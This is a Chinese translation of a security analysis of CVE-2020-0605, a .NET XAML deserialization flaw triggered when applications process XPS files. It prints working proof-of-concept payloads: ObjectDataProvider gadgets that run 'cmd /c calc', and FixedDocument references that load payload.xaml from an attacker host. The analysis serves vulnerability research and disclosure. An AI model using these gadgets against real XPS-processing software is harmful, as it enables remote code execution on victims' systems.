CVE-2020-0605:.NET处理XPS文件时的命令执行
2020-09-09 11:02:15 Author: xz.aliyun.com(查看原文) 阅读量:321 收藏

1. 译文声明

本文是翻译文章,原作者 Soroush Dalili
原文地址:https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/
译文仅作参考,具体内容表达请见原文

2. 前言

微软近期修复了许多与XPS文件有关的反序列化漏洞,其中就包括CVE-2020-0605XPS文件用于作为PDF文件的替代品,但其并未像后者那样普及,微软已在Win10 1083 +中将XPS Viewer默认安装,不过XPS Viewer不调用.NET来读取XPS文件,因此不受该漏洞影响。该漏洞的补丁在今年一月就发布了,但是补丁不够完善,然后在今年五月对补丁进行了完善。该漏洞可用于攻击所有使用.NET处理XPS文件的业务场景,其已被确认的漏洞思路也可用于开发其它XAML反序列化漏洞的利用链。

3. 技术分析

一个XPS文件就像一个压缩包,其内包含多类文件,例如图像、字体以及XML文档。.NET中基于XAML来序列化处理XPS文件中的XML文件。
一个简单的XPS文件结构如下:

File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels

其中带有.fdseql.fdoc.fpage的文件使用了XAML序列化进程。不过如果在[Content_Types].xml文件中定义了合适的类型,也可以使用其他自定义的后缀名。
ysoserial项目中提供了以下通用exp以在读取XPS文件时来命令执行:

<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
 xmlns:System="clr-namespace:System;assembly=mscorlib"
 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
 <ObjectDataProvider x:Key="LaunchCalc"
 ObjectType="{x:Type Diag:Process}"
 MethodName="Start">
 <ObjectDataProvider.MethodParameters>
 <System:String>cmd</System:String>
 <System:String>/c calc</System:String>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary>

一月份给出的补丁仅增加了对.fdseq格式文件的安全校验,不过仍可使用其它文件来触发漏洞。
举两个怎样在.NET场景中读取XPS文件的例子,如下:

  • XpsDocument
    XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
    var a = myDoc.GetFixedDocumentSequence();
    
  • LocalPrintServer + defaultPrintQueue

    PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
    PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
    

    不过我们测试过程中发现XPS文件中的BAML(XAML的编译版本)文件无法触发漏洞,它们会导致内部错误。
    ### 3.1. 受影响的.NET 内部类
    注:internal class被译为了内部类,该internal修饰符表示被修饰的类或方法其访问权限仅限于当前程序集,关于C#中internal关键字的相关资料可见此
    .NET其System.Windows.Documents命名空间下存在XpsValidatingLoader,其中的Load()Validate()方法在处理恶意XAML指令时可能会导致代码执行,因为它们都最终调用了XamlReader.Load()方法。
    关系图如下:

  • System.Windows.Documents.XpsValidatingLoader为内部类

然后,上述所受影响的类最终可被其它公共类中所调用。

3.2. 一些基于XAML的Gadgets

3.2.1. FixedDocument/FixedDocumentSequence + xaml引用

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>

或者

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>

3.2.2. FixedDocument/FixedDocumentSequence类中的Resources属性

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <FixedDocument.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="">
      <ObjectDataProvider.ObjectInstance>
        <sd:Process>
          <sd:Process.StartInfo>
            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
          </sd:Process.StartInfo>
        </sd:Process>
      </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
  </FixedDocument.Resources>
</FixedDocument>

或者

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <FixedDocumentSequence.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="">
      <ObjectDataProvider.ObjectInstance>
        <sd:Process>
          <sd:Process.StartInfo>
            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
          </sd:Process.StartInfo>
        </sd:Process>
      </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
  </FixedDocumentSequence.Resources>
</FixedDocumentSequence>

文章来源: http://xz.aliyun.com/t/8245
如有侵权请联系:admin#unsafe.sh